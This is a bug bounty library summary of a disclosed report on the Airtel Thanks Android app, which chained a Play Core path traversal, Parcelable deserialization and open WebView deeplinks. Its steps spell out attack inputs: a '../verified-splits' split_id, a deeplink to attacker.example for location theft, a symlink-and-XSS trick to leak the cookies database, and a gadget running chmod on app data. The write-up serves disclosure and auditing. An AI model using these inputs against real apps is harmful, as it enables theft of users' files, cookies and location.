# Multiple Vulnerabilities found in Airtel Android Application

Airtel Thanks app used vulnerable Play Core library plus unvalidated deeplinks, letting malicious apps execute code and steal files, location, and cookies.

- Payout: $4,000
- Severity: high
- Program: Airtel, Google
- Credited: Gaurang Bhatnagar
- Disclosed: 2022-11-27
- CVE: CVE-2020-8913
- Write-up quality: 7/10
- Original: https://offsec.space/posts/airtel-vulnerabilities/
- Library page: https://bugbountylibrary.com/r/blog%3Aoffsec-space-posts-airtel-vulnerabilities
- Tags: domain:mobile impact:data-leak impact:rce kind:bounty platform:blog sev:high tech:android technique:chained technique:source-review vuln:access-control vuln:deserialization vuln:path-traversal vuln:rce

**Target:** Android app (Play Core SplitInstall receiver, WebView deeplink handler)
**Root cause:** Vulnerable Google Play Core library copies split_id from an intent into unverified-splits without path validation, and deeplink handlers load arbitrary URLs into a WebView with JavaScript, file access, and geolocation enabled.
**Steps:**
1. Craft malicious app that broadcasts to `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService` with `split_file_intents` containing `split_id=../verified-splits/config.test` and data URI of attacker APK
2. Trigger deeplink `myairtel://app/webview?au=https://attacker.example` to load arbitrary URL in WebView
3. Serve JS payload calling `navigator.geolocation.getCurrentPosition` to exfiltrate location
4. On Android <=6, create symlink `symlink.html` to `app_webview/Cookies`, set cookie with XSS payload, then load `file://.../symlink.html` to leak SQLite DB contents
5. Send `ParcelableObject` via intent extra to trigger `Runtime.getRuntime().exec("chmod -R 777 /data/user/0/com.myairtelapp")` on deserialization
**How found:** Researcher focused on WebView implementations in popular Android apps (100M+ downloads) during prep for a static analysis talk, reviewing AndroidManifest deeplink filters and WebView settings for missing host validation and dangerous flags.
**Exploitation:** Malicious third-party app broadcasts a crafted SplitInstall intent to write attacker-controlled split into the app's verified-splits dir, then sends a Parcelable extra whose CREATOR runs chmod on the app data dir, making it world-readable; combined with deeplink WebView loading arbitrary URLs to phish, steal geolocation, and exfiltrate cookies DB via symlink+XSS.
**Escalation:** Chained Play Core path traversal with Parcelable deserialization to gain code execution in app context, then used world-readable data dir plus WebView file access to exfiltrate sensitive files.
**Insight:** When auditing Android apps, check exported broadcast receivers for Play Core SplitInstall intents and trace split_id into file paths; also grep deeplink handlers for Uri.parse of `au=` params feeding WebView.loadUrl without host allowlisting.